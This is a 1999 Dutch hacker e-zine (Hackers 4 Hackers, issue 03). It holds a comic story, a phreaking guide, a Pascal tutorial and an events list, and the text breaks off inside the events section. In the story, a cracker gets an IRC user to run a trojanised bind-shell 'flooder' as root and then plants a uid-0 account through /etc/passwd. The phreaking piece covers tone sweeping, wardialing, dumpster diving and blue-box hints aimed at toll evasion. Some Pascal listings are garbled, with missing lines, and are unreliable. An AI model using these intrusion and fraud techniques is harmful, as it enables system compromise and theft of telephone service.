___ ___ _____ ___ ___ / | \ / | | / | \ / ~ \/ | |_/ ~ \ \ Y / ^ /\ Y / \___|_ /\____ | \___|_ / \/ |__| \/ +-+-+-+-+-+-+-+ +-+ +-+-+-+-+-+-+-+-+-+-+ |h|a|c|k|e|r|s| |4| |h|a|c|k|e|r|s| |0|3| +-+-+-+-+-+-+-+ +-+ +-+-+-+-+-+-+-+-+-+-+ http://www.hackers4hackers.org '08-08-1999' Om je aan of af te melden bij de mailinglijst ga je naar http://www.hackers4hackers.org Artikelen en dergelijke kun je mailen naar post@hackers4hackers.org Vragen kun je mailen naar de desbetreffende auteur of ook naar post@hackers4hackers.org Enkele interessante sites: http://itris.eu.org http://www.dutchthreat.nl http://security.pine.nl http://www.hit2000.org http://hier.is/Triples 01. Disclaimer................................................. (Redactie) 02. Inleiding.................................................. (Redactie) 03. Leven van een Cracker dag 2................................ (drgenius) 04. Phreaking phor phun phin pholland.......................... (itris) 05. Programmeren in Pascal 2................................... (RaViTy) 06. Evenementen................................................ (Redactie) 07. NT v.s. NT (Dictionary Attack via de IPC$ share)........... (Murf) 08. WinU....................................................... (CaNiBaLeAtEr) 10. Microsoft Office Virussen in de praktijk................... (Hace) 11. Ditjes en Datjes........................................... (Asby) ------------------------------------------------------------ 01. Disclaimer ------------------------------------------------------------ We zijn niet verantwoordelijk voor datgene wat jullie met deze informatie doen. Deze informatie dient alleen voor educationele doeleinden. Als je in problemen komt, kan je ons niks verwijten. Gebruik maken van deze informatie kan strafbaar zijn. Meningen van auteurs hoeven niet hetzelfde te zijn als die van de redactie. ------------------------------------------------------------ 02. Inleiding ------------------------------------------------------------ Hier is dan het derde deel van Hackers 4 Hackers. Deze keer iets langer bezig geweest dan normaal, als er al een normaal is na 2 delen. Het valt al helemaal niet mee om een inleiding te verzin- nen. Er is weinig gebeurd eigenlijk in de tussentijd. Ik zou na- tuurlijk iets over Packetstorm kunnen vertellen en hoe JP van Antionline deze prachtige site van het internet heeft afgeholpen. Maar dit is al uitgebreid besproken op allerlei sites. Over sites gesproken, de site van H4H wordt binnenkort in een nieuw jasje gestoken. Het design wordt gedaan door Typh0ne. Te- vens gaat Typh0ne de nieuwste delen van H4H vertalen naar het engels, zodat het geheel een internationaal tintje krijgt. We wensen iedereen veel leesplezier toe en mochten er op of aan- merkingen zijn, surf dan even naar onze website en vul het in bij commentaar. De redactie ------------------------------------------------------------ 03. Leven van een Cracker, dag 2 ------------------------------------------------------------ Gaaaaaaaaaapppppp, de cracker word wakker op een veels te vroeg tijdstip (17:00), gewekt door de cdplayeraanzetcrontab met het nummer "FREE SPEACH" van Metallica, wat vethard over de 500 Watt's geluidsinstallatie blaast (FREE F0CKING SPEACH !!! YEAH) Het slaap uit zijn ogen wrijvend zet de cracker de installatie nog iets harder. Hmm lekker noodles, hij vraagt zich af wat dat toch is met noodles, daar iedere pc nerd die dingen 's ochtends eet (pizza roelt pas echt :-p). Zichzelf installerend achter pc , met bord noodles in ene hand en pakkie shag in andere hand en aansteker in mond, schopt de cracker ff tegen het bureau om zeker te weten dat zijn apm reageert. Snel dooreten (eten?), email lezen, dan langzaam beginnen. Email weer niet interessant en 1 reply op een meeltje waar na 4 weken op wordt gereageerd (tsssss), waar halen ze het lef vandaan om uberhaupt nog te reageren vraagt de cracker zich af. Prodigy mp3tje downloaden om ff wakker te worden, dus niet, na 4 uur scheldend achter pc te hebben gezeten, omdat die mp3 gewoon overal te zien is maar nergens te snaaien door dooie links, wegklappende verbindingen en dat soort zuigzooi, kwakt de cracker, vetgeirriteerd, IRC maar ff aan. "Teringmp3" denkt ie bij zichzelf. Ok ff connecten met het nationale aapjeskijkkanaal op IRC kijken we ff iemand kunnen foppen om shitbui weg te werken. Na 10 minuutjes wachten komt inneens de cracker's favoriete lamer het kanaal op, leuk leuk, en hij zegt nog "HEY hoe gaat ie man !" ook (grin) ,denk denk, hmmm "VETKLOTE" antwoordt de cracker maar :-). Waarop de lamer uiteraard vraagt "wat is er dan ?". Nu breede grijns op gezicht krijgend zegt de cracker "Heb probleem met programma, hey kan jij me me zo ff ergens mee helpen, plz ?". "Sure" zegt de lamer. Moooooiii denkt de cracker en "thx" zet ie maar ff op het kanaal. "Ken jij me ook ff helpen ergens mee ?" vraagt de lamer, "sure" is het antwoord. "Iemand zit me te etteren wil m ff flooden", "o maar daar hebbik wel een programmaatje voor :)" zegt de cracker met een inmiddels ernstige vormen aannemende grijns op zijn gezicht. "Wat voor OS ?", "RedHat Linux 5.2". "ok" zegt de cracker "dan ga ik nu ff proggie aanpassen voor jouw pc, die kan je dan gebruiken om die leipo helemaal plat te flooden, blijf hangen, dan krijg je m zo". "ok, thx", hahahaha denkt de cracker bij zichzelf, inmiddels zich zelf brandend aan een shaggie wat untouched is 0opgebrand in zijn vingers. Nmap uitvoerende, om te zien wat er zoal aan de gang is in die pc, zet cracker ff Britney Spears cd aan om wilde fantasien op te wekken :), waar het als die hard computernerd waarschijnlijk wel bij zal blijven :-)))))) O baby baby, tuduhduh, o baby baby give me a siiihahiggggnnn, fuck me baby one more time. Hey leuk draait vanalles in die pc :-) naja whatever, ff proggie pakken om shell op aan te geven poort te binden, hm welke poort zullen we nemen? "lamer, hoe oud ben jij eigenlijk?", "17" hmmz 1999 - 17 = 1982 ok, poort 1982 it will be :-p, zow ff compilen en klaar. "Hey pak die file ff :)", "ok" DCC send completed (YEAH) Nu wordt de cracker ongeduldig want hij moet wachten totdat de lamer zegt dat t programma niet werkt. "Hij doet t niet" klinkt er vervolgens. hehe denkt de cracker, ok dan. "Heb je als root uitgevoerd ?", "neej", "nou dan is dat de fout, en je moet m zo uitvoeren ./BruT4LfL00d target_ip", "ah, ok :-)" YEAH denkt de cracker :-p. "Hij doet t nog steeds niet", hehehe, JAWEL denkt de cracker, ff telnetten naar port 1982, adduser cracker, passwd cracker, vi /etc/passwd, ok, ff changen in 0:0::/tmp, rm -rf /home/cracker ok dan, "Hey lullo, ik zit in je pc, en ik heb root" zegt de cracker met een vette grijns op zn gezicht, "o ja?? hoe dan?", dit was de doodsklap voor de cracker die inmiddels keihard lachend achter zijn pc zit. De cracker vond dit wel een leuke intro om zijn dag te vervolgen na het mp3-gezeik. Ok, nu besluit de cracker ff een supervaag boek te gaan lezen over computermisbruik, een paar punten die op zijn minst opvallend genoemd kunnen worden: 1) Moord of verwonding door middel van 1 of meerdere slagen met een toetsenbord wordt niet tot computermisbuik gerekend :-). 2) Terroristische aanslagen op computer of rekencentra worden ook niet tot computermisbruik gerekend. 3) Het in brand steken van backups zou wel tot de term computermisbruik horen, en zou ook onder die noemer strafbaar zijn. 4) Het dreigen met het aantasten van computerapparatuur, computergegevens of computerprocessen valt onder computermisbruik en is strafbaar, evenals het uitvoeren van deze praktijken (!!) (zouden IRC bedreigingen daar onder vallen ?) 5) Het veranderen van computerprogramma's, waardoor de programmatuur niet meer precies hetzelfde functioneert zoals daarvoor bedoelt, wordt berecht als valsheid in geschrifte. Dit geld ook voor het veranderen van gegevens zonder dat daarvoor toestemming is verleend. Interessant, denkt de cracker en hij vind t wel weer genoeg geweest voor vandaag, tijd om de kroeg in te duiken. DrGenius ------------------------------------------------------------ 04. Phreaking phor phun phin pholland ------------------------------------------------------------ Phreaking phor phun phin pholland 19990717 Eek eek it ain't listerique ;-) Ik had Asby beloofd een artikel te typen voor hfh als het blad langer dan 2 edities zou bestaan.. beloftes kom ik na (heeft iemand nog wat te innen? :-), dus zie hier een txt file over phreaken in nederland. Zijt gewaarschuwd dat deze tekst offensief kan zijn en dat veel lezertjes voortijdig af zullen haken omdat ze het of niet snappen of een dusdanige ego deuk opgelopen hebben dat ze zelf- moord geplegen. that takes care of the lamers. Ik besef me maar al te goed dat als ik hier very sensitive materiaal neer zet dit meteen dood gebruikt wordt door mensen die deze file helemaal niet lezen om te leren maar om gratis te willen bellen. Ik zeg je dus nu al: dat krijg je niet van me. Ga maar ergens anders heen. Het tijdperk van het internet is een paradox van informatie voorziening. Enerzeids is het de TV van de data communicatie en anderzijds is het de digitale natte droom van elke hacker (note: het woord hacker is een omstreden term en zal losjes gebruikt worden in deze file. beste omschrijving: iemand die een zeer grote interesse heeft in alles wat technisch is en wil weten hoe het allemaal werkt om er mee te kunnen spelen op een niet destructieve manier). Het is te zien aan de AOL'lers in de usa hoe het zit met de TV kant. Mensen denken niet na en volgen blindelings instructies op. Slimme mensen hoeven deze file niet te lezen.. die weten dat files als dit weinig waarde hebben omdat ze voor domme mensen bedoeld is.. slimme mensen zoeken het zelf wel uit omdat ze nog weten hoe dat moet. to continue.. Phreaken in nederland begon al tijden terug. Ik ga dat allemaal niet behandelen wat er gebeurt is etc.. Wat wel van belang is, is dat veel van de truuks van toen nog werken.. Met call for- warding is nog altijd goedkoper te bellen.. nu dit weer inter- nationaal is toegestaan kan je de hele wereld dus weer bellen tegen lokaal tarief. Natuurlijk... wie het te bont maakt is gemakkelijk gepakt, alles wordt gelogd heden ten dagen en is met een paar key strokes op te vragen. (in tegenstelling tot common belief worden telefoon records jaren lang bewaard). Maar deze file is voor de mensen die nog niet weten wat phreaken is.. Phreakend Nederland is immers aardig vervallen tot stof. Daarom... Let's start at the beginning. (ja hier zijn al files overge- schreven maar niet zo duidelijk en vaak niet in het nederlands. (alsof dat een belemmering zou moeten zijn?)) doe dit: pak de hoorn van je telefoon toestel op, toets 0. terwijl je 0 toetst hoor je een toon. Die toon is onderdeel van de DTMF specificatie. DTMF staat voor Dual Tone Multi Frequency oftewel, 2 toontjes met varierende frequenties. elke toets op je phone genereert een andere combinatie van 2 frequenties. in totaal 3x4 frequenties levert 12 combinaties, goed voor 12 toetsen die er op je toestel zitten (los van de toetsen die geen tonen produceren voor extra functies zoals geheugen etc). Wat weinig mensen weten is dat de DTMF specificatie niet 3x4 is maar 4x4. Er mist dus een rij toontjes op je phone. Die extra toontjes heten A, B, C en D. origineel niet? anyway, wat moet je met die toontjes? Niet veel.. ze worden door het telefoon net niet (officieel) ge- bruikt. 10 jaar geleden werden hier al scans op uit gevoerd en er is weinig veranderd sindsdien. Resultaten willen wel nogal eens per area verschillen. Maar voordat we met abcd gaan spelen.. Misschien zijn er nog wel MEER toontjes waar de centrale op reageert.. Wat doen we dus.. juist, wij pakken er een frequentie generator bij. 2 eigenlijk. Voor het geval je geen echte hardware genera- tors hebt (kan ik me voorstellen) pak je een stuk software die realtime de freq's af kan lopen (Sweeping heet dat). Een zo'n programma is bijvoorbeeld scavenger dialer (versie 1.0 is de nieuwste en laatste, zie ftp.hacktic.nl voor een download). Aangezien KPN teledom de voice over de lijn sampled en digitaal hun ss7 netwerk over gooit met een freq van 22khz bij 8bit is de maximum frequentie die je zou kunnen doorsturen theoretisch 11Khz. Aangezien de heren ook nog eens compressie toe passen en je waarschijnlijk een lage kwaliteits kloon telefoon hebt die vast niet officieel is goedgekeurt door kpn hoef je eigenlijk niet boven de 4000hz te komen met frequency scanning. Een onder- grens van 300 hz is leuk. (er zijn officiele specificaties voor wat het frequentie berijk moet zijn van een voice lijn maar die heb ik ff niet voor ogen). Als je in het bezit bent van een meeko box (phone patch) kan je er nu gebruik van maken (da's een stukje hardware dat je sound- card uitgang aan je phone koppelt). Als je die niet hebt zet je je headphones gewoon op een aardig volume en tape je die aan het mond stuk van je hoorn vast. Stuur eens een lang (paar seconden) toon door je headset en luister aan het oorstuk van de hoorn of de toon er onvervormt door komt. Pak enkele verschillende toon- tjes en zet het volume zo hard mogenlijk zonder dat er vervorm- ing is bij welke frequentie dan ook. Test het daarna nog even voor wat verschillende dual tone combi's (gewoon dtmf door scavenger gegenereerd dus). Draai het volume dan nog een heel klein beetje terug voor de zekerheid. Goed, begin dan met sweepen.. Eerst maar eens single tones (een enkele frequentie). De huidige telefoon centrales zijn snel genoeg om een toon van 100ms te detecteren als een signal.. dus je kan 10 combi's per sec scan- nen. stappen van 10hz zijn voldoende. What to listen for? Alles wat niet normaal is... Als je de hoorn op neemt hoor je zo iets genaamd een dialtone. Die duurt natuurlijk niet eeuwig. 30 seconden is standaard. Je moet deze single tone scan dus in 3 stappen doen want na 30 sec valt je kiestoon weg. Het kan natuurlijk zijn dat er ook iets abnormaals gebeurt.. wat als je kiestoon al na 15 seconden weg valt terwijl als je geen enkele toon geeft de kiestoon gewoon na 30 sec in een busy veranderd? Dan heeft de centrale gerea- geerd op je toon. Noteer de frequentie en ga verder vanaf het punt waar de centrale reageerde. Doe precies het zelfde voor de dual tone sweep. Het nadeel van de dual tone is dat ze _veeeel_ langer duurt (omdat je tot de macht 2 zoveel combinaties af moet als bij de single sweep). Als je genoeg neemt met een lagere kans op het detecteren van tonen waar de centrale op reageerd dan kan je de step grooter zetten (15 hz, 20 hz, etc) zodat het sneller gaat. Dat moet je zelf weten. Goed, je scan is klaar.. Hoogst waarschijnlijk ziet het er zo uit: 1209 1336 1477 1633 697 1 2 3 A 770 4 5 6 B 852 7 8 9 C 941 * 0 # D misschien vind je ook reacties die maar 1 frequentie hebben. Speel er mee.. dat is de enige manier om uit te zoeken wat ze doen. Ik kan het je niet vertellen wat ik ben ze nog nooit tegen gekomen. Wel is er in een van mijn freq-scans een extra e en f toon opgedoken naast de b en de c toon.. zoek zelf maar. Nuttig waren ze echter niet. De abc en d tonen worden misschien niet door de centrales van KPN zelf gebruikt, maar misschien wel door andere aparatuur die aan het phone net hangt.. Denk eens aan de nieuwe telco's die nederland rijk is (die komst op zich zou al en kreet van vreugde moeten uitlokken onder de phreakers) of zoek het in het kleinere werk... antwoord aparaten en voice-mail-boxen. We hebben dus iets gehad om het wekend mee te vullen en mee te spelen. Dit was de signalering. Nu we dus weten hoe we met de centrale kunnen praten (note dat ik alleen analoge communicatie hier bespreek.. ISDN is een onderwerp voor de ver gevorderden) kunnen we kijken wat er terug gezegt worden als we zinnen gaan bouwen. Oftewel... we gaan war dialen! Definitie: War dialen is het bellen van heel veel nummers achter elkaar. Dat kan het zelfde nummer zijn, dan ben je bezig iemand zwaar pissed off te krijgen. Dat is illegaal en daar houden we ons dus niet mee bezig. (het is trouwens best handig om die lieve KPN telestom eens op te bellen onder 08000402 en ze te zeggen dat ze je de voorwaar- den op moeten sturen.. dan weet je wat wel en niet mag). Steeds de zelfde zin roepen is immers niet leerzaam. Wat we gaan doen is precies het zelfde als bij het frequency scannen, we gaan alle combinaties af. What the fuck for? to see what's out there... Natuurlijk moet je bij het wardialen niet de opdracht geven aan je software (The Hackers Choice heeft hele mooie war-dial soft- ware) om te beginnen bij 0 en te eindigen bij FFFFFFFF ofzo (als je modem die toon al kan genereren (jaja, sommige modems kunnen abc en d bellen! neat he?).. Dan bel je heel de wereld af en heb je de grootste telefoon rekening ter wereld.. Hmnnn.. da's wel leuk om te proberen eigenlijk, eens kijken hoe groot het register is in KPN's database voor kosten berekening.. als je er overheen gaat krijg je misschien wel geld terug :-) anyway, begin gewoon eens je lokale range te scannen (zie ook mijn prefix scan file) door te beginnen met 1*, 11*, 12*, 13*, etc.., 11* (112 weg laten), 12*, etc, etc, etc.. en kijk wat je tegen komt. Pak de OPTA lijsten er bij en kijk of er leuke dingen tussen staan.. Wat je wil weten is wat je niet mag weten. Pak het telefoonboek er eens bij.. zet alle net nummers eens op een rijtje.. goh.. er zitten gaten tussen. Eens kijken of daar niet toevallig toch telefoons achter hangen.. en wat blijkt.. ja hoor.. test num- mers, geheime nummers, meld kamers, etc.. Gebruik je intelligentie om te scannen waar het interessant zou kunnen zijn. Scannen is een heel erg belangrijke tool voor de phreak. Het geeft inzicht in het telefoon netwerk en kan toegang geven tot allerlei leuke dingen die niemand had verwacht. Ik kreeg van aus en dagger02 te horen dat radio 53verkr8 live liet horen (19990716) hoe je bij 09008008 de tijd kon veranderen dmv ***111***hhmmss te bellen als je kontact hebt. Dit werkt natuurlijk al niet meer (dag later) maar het geeft aan dat er meer mogenlijk is dan je denkt (en die optie 111 zal nu wel gewoon een andere code zijn). -> misschien was het wel een hoax, dat weet je natuurlijk nooit (krijgen we vast nog wel te horen). Een tweede zeer belangrijke tool voor de phreak is thrashen. definitie: trashen is het ophalen van papier afval bij een be- drijf/persoon waar hopenlijk informatie op staat die leuk/nuttig is voor de phreak. Dit is niet legaal.. afval is in het bezit van het bedrijf/persoon (ookal hebben ze het "weg gegooid") en vaak staat het in containers op het bedrijfs terrein (prive ter- rein waar je niet zomaar op mag komen). Niet temin is het meestal niet zo'n probleem om snel 2 vuilnis zakken papier mee te nemen en die thuis in de tuin uit te zoeken (zorg voor handschoenen, het plakt van de koffie en taart). De informatie die je vind kan varieren van interne telefoonlijsten (leuk voor social engineering, de 3e tool voor de phreak) tot handboeken van verouderde netwerken/computers met passwords etc. Social engineering.. tja daar heb ik al eens een leuke file over geschreven, soort iets uitgebreidere versie van mijn speech op NHM'98. Dat ga ik hier dus niet behandelen. Mensen die het OSI model kennen weten dat communicatie altijd in layers verloopt. Net zo bij telecommunicatie. Stel nou eens dat wij toegang hebben tot een communicatie laag waar we eigen- lijk niet bij mogen komen.. de signalering tussen de centrales bijvoorbeeld? dan kunnen wij zelf bepalen waar we heen gaan en zo dus een paar keer de wereld rond gaan voordat we bij de buur- man de telefoon laten rinkelen om hem bij de conference te gooi- en waar al 20 andere phreaks in zitten vanuit de hele wereld. Die situatie werdt gecreeerd met het BlueBoxen.. De bluebox ge- nereerde een toon (2600hz) die onderdeel was van de CCITT5 sign- allerings specificatie tussen switches (centrales). Door gebruik te maken van het feit dat deze signalering over de normale spraakband (je kon 'm horen) liep kon je voor je eigen switch spelen en truukjes uit halen die de nacht merrie van de telefoon maatschappijen werdt. Voordat men overstapte op andere vormen van signalering (uitein- delijk SS7, ook wel common channel interchange signalling system 7, cciss7) werden er blokkades ingesteld die zorgten dat je niet meer zomaar een heel netwerk over kon nemen. ccitt5 wordt (bijna) niet meer gebruikt omdat de problemen bij iedere telco nu wel bekend zijn en de huidige switches toch allemaal ss7 ondersteunen, dus waarom nog een oud signallerings protocol gebruiken? Stel je bent een telecommunicatie bedrijf die een nationale monopolie heeft in een 3rde wereld land. dan heb je niet veel geld. Dan koop je 2e hands spullen. oa hardware die ss7 nog niet ondersteunt.. get the picture? En stel nou dat er in dat zelfde land een of ander bedrijf (of een telco, desnoods de zelfde) zit die HomeCountryDirect toe past en dat oa in Nederland toe staat? HCD is een gratis nummer dat je belt. het nummer verbind je door naar een ander land waar een computer/operator op neemt, je code vraagt en het nr waar je heen wil bellen (waar dan ook ter we- reld) zodat je kan bellen tegen het tarief dat die telco rekent ipv het tarief dat het land rekent waar je vandaan belt. Dat kan goedkoper zijn (AT&T en MCI etc deden dat al jaren voordat de opta hier aan gang ging). Nu... zo'n 0800 nummer naar afrika ofzo zou dus best wel eens ergens over een c5 lijntje kunnen lopen. the rest is up to you. Nearing completion... Internet en TV zullen versmelten zeggen de experts. Alles wordt digitaal zegt je omgeving. Telefonie is een onzeker gebied en het versmelt meer en meer met de "normale" data communicatie. Spraak tussen centrales is al jaren compleet digitaal. ISDN di- gitaliseert ook het laatste stukje koper en ADSL zal dat nog verder door voeren. Bellen over de tv coax wordt ook al inge- voerd, bellen via TCP/IP over internet groeit en wordt zelfs door sommige telecommunicatie bedrijven gebruikt om kosten te besparen. Belangrijk is up to date te blijven.. aan de ene kant veranderd er verschrikkelijk veel verschrikkelijk snel, en aan de andere kant zijn dat allemaal low level dingetjes die niet zo belang- rijk zijn. Grote veranderingen zijn echter makkelijk bij te hou- den.. Als er plotseling een service als 0878 open wordt gezet maar nog niet officieel in gebruik is dan ga je die scannen.. en wat vind je dan.. mail boxen die open staan voor iedereen om gebruikt te worden. En een ANAC feature die er in zit.. neato! Het is duidelijk dat de phreak die nu begint veel heeft in te halen. Er zijn stapels met boeken over duizend en 1 onderwerpen die allemaal met telecommunicatie te maken hebben. Moet je ze allemaal kennen? Nee.. Maar leren is leuk en je pakt wat je pak- ken kan. gegroet, itris@technologist.com http://itris.eu.org Alle programma's en files hierboven (en nog veel meer) zijn te vinden op mijn server. ------------------------------------------------------------ 05. Programmeren in Pascal 2 ------------------------------------------------------------ 1. Operatoren (rekenfuncties) 2. Booleans 1. Operatoren (rekenfuncties) In het volgende voorbeeld staan veel asci tekens. Om deze neer te zetten houd je ALT ingedrukt, typ het nummer, en laat ALT los. Een rekenmachine: ( " " niet overnemen ) { ³ = 179 ´ = 180 ¿ = 191 À = 192 Á = 193 Â = 194 Ã = 195 Ä = 196 Å = 197 Ù = 217 Ú = 218 ý = 253 } " var getal1,getal2,uitkomst:integer; " teken:char; " " " begin " " writeln('ÚÄÄÄÂÄÄÄÂÄÄÄÂÄÄÄ¿'); " " writeln('³ 7 ³ 8 ³ 9 ³ + ³'); " " writeln('ÃÄÄÄÅÄÄÄÅÄÄÄÅÄÄÄ´'); " " writeln('³ 5 ³ 6 ³ 7 ³ - ³'); " " writeln('ÃÄÄÄÅÄÄÄÅÄÄÄÅÄÄÄ´'); " " writeln('³ 7 ³ 8 ³ 9 ³ x ³'); " " writeln('ÃÄÄÄÅÄÄÄÅÄÄÄÁÄÄÄ´'); " " writeln('³ ³ 0 ³ Reken ³'); " " writeln('ÀÄÄÄÁÄÄÄÁÄÄÄÄÄÄÄÙ'); " " writeln; " " writeln('De tekens zijn +, - en x.'); " " writeln('Voer de getallen en tekens om beurten in, en toets'," " ' ENTER na elk teken of letter.'); " " writeln; " " write('--> ');readln(getal1); " " writeln; " " write('--> ');readln(teken); " " writeln; " " write('--> ');readln(getal2); " " writeln; " " case teken of " " '-': uitkomst:=getal1 - getal2; " " '+': uitkomst:=getal1 + getal2; " " 'x': uitkomst:=getal1 * getal2; " " end; " " writeln(getal1,' ',teken,' ',getal2,' = ',uitkomst); " " readln; " " end. " Nog even een korte uitleg over wat we hier aan het doen zijn. Je ziet dat we drie variabelen hebben die alle een integer (ge- heel getal tussen -32768 tot +32767), zullen gaan bevatten zodra we er iets in zullen bewaren. We hebben drie variabelen nodig omdat we drie verschillende ge- tallen willen opslaan. We kunnen niet getal1 en getal2 in 1 va- riabele opslaan, want dan overschrijft getal2 getal1. "var teken:char" : Hier kondigen we de variabele teken aan, waarin we later een char (character of teken a tm z 1 tm 0 of asci)kunnen stoppen. "writeln('bla', 'bla') ": Om het programma overzichtelijk te houden, en om jullie ervan te weerhouden flink met de scroll-balk te stoeien om de hele regel in beeld te krijgen, heb ik de regel in twee stukken verdeeld. De compiler zet ze gewoon achter elkaar. "case .. of " : Ongeveer hetzelfde als " if then maar dan iets overzichtelijker. Het maakt niet uit of je "if" of "case" ge- bruikt, alleen "case" is korter. "case invoer of 0: writeln('De invoer was 0'); " Let op! Als de variabele die je met "case" behandeld een string of char bevat, moet je die tussen ' ' zetten. Vergeet niet om na het ge-"case" "end;" te zetten, zodat de compiler weet dat het "case" statement nu afgehandeld is. We hadden ons rekenmachine fraaier kunnen maken door kleuren toe te voegen, maar daar heb je de unit crt voor nodig. (Over units komen we later wel terug). Het probleem met pascal (met name TP en BP) is dat de crt unit functies bevat die op een Pentium 2 niet werken. Hoe mooi en handig crt ook is, we slaan hem gewoon over. In het kort behandelen we nog even wat meer rekenfuncties: "DIV" Komt van divide (delen): Deelt twee integers door elkaar. " / " Deelt twee reals (getallen met komma) door elkaar. "MOD" Geeft de rest van een berekening. "TRUNC" Kapt een real af, zodat het de vorm van een integer krijgt. "ROUND" Rondt een real of zodat het de vorm van een integer krijgt. "ABS" Geeft de absolute waarde van een variabele. Dit kan zowel bij integers als bij reals. "SQR" Geeft het kwadraat van een variabele. Real of inte- ger. "SQRT" Geeft de vierkantswortel van een variabele. Meestal real. "SIN" Geeft de sinus van de variabele. "COS" Geeft de cosinus van de variabele. "PI" Geeft de waarde van PI (3,1415926535897932385) "INT" Maakt van een real een integer. "INC" Vermeerderd de variabele met zoveel als aangegeven is: inc(a,100); << a:=a+100; betekent hetzelfde. "DEC" Verminderd de variabele met zoveel als aangegeven is. "ARCTAN" Geeft de tanges van de variabele. Zo, dit waren de functies die me zo teboven schoten. Er zijn er nog veel meer, maar zodra je deze tutorials snapt kun je drie- kwart van een dik pascalboek overslaan. Misschien is het toch wel handig als je een klein boekje koopt waar de belangrijkste procedures en funties instaan. Ik raad aan om De kleine Borland Pascal 7 Gids te kopen of te bestellen. ISBN: 90 395 0219 6 Ik weet niet meer wat dit boekje kostte, maar ik geloof ongeveer 30 gulden. 2. Booleans Dit is misschien wel een van de meest gebruikte functies in vele programma's die in pascal, c++ of visual basic etc. geschreven zijn. Een boolean geeft alleen maar aan of een stelling juist of on- juist is. Dus TRUE of FALSE. Ondanks er maar twee uitkomsten zijn, zijn de mogelijkheden zeer uitgebreid. Vele procedures en functies maken stiekem gebruik van booleans, bijvoorbeeld "if" en alle operatoren die een verge- lijking maken. Hier volgt even een kort spelletje, waarbij je een getal tussen 1 en 100 moet raden. Omdat jullie misschien ziek worden van al die integers, en omdat het een beetje eentonig is, bouwen we er een paar leuke functies in, zoals helpscherm en een functie die alle high-scores opslaat op je harde schijf. Compile het spel dan, en ga naar dos. Om het helpscherm te laten verschijnen typ je (in MSDOS) Maak eerst in de directory waar dit spel staat de file HI-SCORE.TXT aan. Doe dit met de DOSeditor ofzo. Bewaar daarna de file. "uses dos; " " " "var SpelerGetal,ComputerGetal,Beurten:integer; " " f:text; " " naam:string; " " " "begin " "if paramcount > 0 then begin " "writeln; " "writeln; " " writeln(' *** Raad een getal ***');" " writeln; " " writeln('Dit is een voorbeeldprogramma van de ', 'booleanfuncties in pascal.'); " " writeln(' - speciaal gemaakt voor het blad ', 'Hackers 4 Hackers -'); " " writeln; " " writeln; " "end " "else begin; " "randomize; " "ComputerGetal:=random(100); " "Beurten:=0; " "repeat " "writeln; " "writeln; " "writeln('Raad een getal tussen 0 en 100.'); " "write('--> ');readln(SpelerGetal); " "if (SpelerGetal>ComputerGetal) then writeln('Te Groot!'); " "if (SpelerGetal ');readln(naam); " "assign(f,'hi-score.txt'); " "append(f); " "writeln(f,naam,' heeft in ',Beurten,' beurten het juiste getal', ' geraden!'); " "writeln(f,'Het getal was ',ComputerGetal); " "close(f); " "end; " "end. " Een korte uitleg: "uses dos" : Dit is een handige unit die je veel zult gebruiken wanneer je iets met bestanden wilt doen. "var f:text": Declareer een variabele die een tekst zal bevatten. Gebruik deze als je meerdere strings in 1 variabele op wilt slaan. "paramcount": Telt hoeveel tekens (parameters) er na de naam van het gecompileerde programma voorkomen. ">" "<" : Boolean operatoren :) Respectievelijk betekenen ze 'groter dan'en' klei- ner dan'. als groter is dan moet je . "Randomize" : Dit moet je gebruiken voordat je random gebruikt. De computer wordt gevraagd zelf een getal te ver- zinnen. "C:=random(250)" : De computer kiest zelf een getal (integer) tussen 0 en 250 en slaat die daarna op in va- riabele C (integer). "repeat until x=y" : Herhaalt alles wat tussen repeat en until staat totdat een variabele gelijk is aan een tweede variabele. Je kunt hier ook de boolean operatoren ge- bruiken. "assing(f,'his.txt'): Kent de naam van een extern bestand toe (in dit geval HIS.TXT) aan een variabele, hier dus F. "append(f)" : Opent het bestand dat je gespecificeerd hebt met assign. Je kijkt dus in variabele F, wat het bestand ook al weer was, en opent die dan, zodat je er iets mee kan doen, zoals tekst toevoegen. Als het bestand niet bestaat komt er een foutmeld- ing. Gebruik in je programma "Rewrite(f);" als je een nieuw, nog niet bestaand bestand wilt openen. Deze moet je dus ook eerst met assign specificeren. "writeln(f)" : Zet een zin in de file waar variabele F naar ver- wijst. "close(f)" : Sluit de file weer, zodat er niets meer bijgeschre- ven wordt. "else" : Betekent: anders. Als het statement die je met een "if" commando hebt opgegeven niet uitvalt zoals werd verwacht dat er zou gebeuren, doe . bv: if (a>b) then writeln('ja') else writeln('nee'); Zo, dit was misschien iets moeilijker dan anders. Als je het moeilijk vind moet je maar paar andere source-codes bekijken die de dos unit gebruiken op deze manier. Er zullen in andere h4h afleveringen nog wel meer voorbeelden komen die de dos unit op deze manier gebruiken. Je kunt de boolean ook aan een variabele toekennen. "var waar:boolean; " En verder in je programma staat er bijvoorbeeld: "if (a>b) and (b and then Letterlijk overgetypt uit BP 7.0 gids: (ik zou het niet beter kunnen zeggen) operator syntaxis geeft als resultaat TRUE als = expr1 = expr1 beide expressies gelijk zijn <> expr1 <> expr2 beide expressies niet gelijk zijn < expr1 < expr2 expr1 kleiner is dan expr2 <= expr1 <= expr2 expr1 kleiner is of gelijk is > expr1 > expr2 expr1 groter is dan expr2 >= expr1 >= expr2 expr1 groter is of gelijk is IN elem IN set1 als elem is aangetroffen in set1 Ravity van Haven ------------------------------------------------------------ 06. Evenementen ------------------------------------------------------------ H4H zoekt nog steeds mensen die naar een of andere meeting is geweest waar technische zaken werden besproken en hier misschien een leuk verhaaltje over willen schrijven. Evenementen voor de komende twee maanden: Chaos Communication Camp (http://www.ccc.de/camp/) Op 6 augustus 1999 komt het ruimteschip 'Het Gulden Hart' naar de aarde voor een dringende reparatie. Om dit heugdelijke feit te vieren organiseert de Chaos Computer Club een grote meeting op de plek waar het ruimteschip vermoedelijk zal landen, valkbij Berlijn in Duitsland. Jij bent ook uitgenodigd om dit te vieren. Dus neem je computers mee en ga helemaal uit je dak tijdens deze 3-daagse hackers mee- ting. En voor de buitenaardse onder ons, vergeet niet je babelvis- je in te doen. Voor meer informatie, check http://www.ccc.de/camp WAN (www.wan.nl) WAN (We Are Networking) is een computerfeest in de open lucht. Dus de ideale vakantie voor een computergek. Lekker van uit een tentje een weekje computeren. Op camping De KibbelKoele in Noord-Sleen in Drenthe wordt een netwerk aangelegd waar je je computer op kan aansluiten. Tevens zijn er game-competities, kun je prijzen winnen , zijn er workshops, kun je lasergamen in het bos en natuurlijk kan je ook internetten. WAN 99 is van 10 t/m 16 augustus. Voor meer informatie surf je naar http://www.wan.nl HIT2000 (www.hit2000.org) Binnenkort is het weer zover, 3, 4 & 5 september 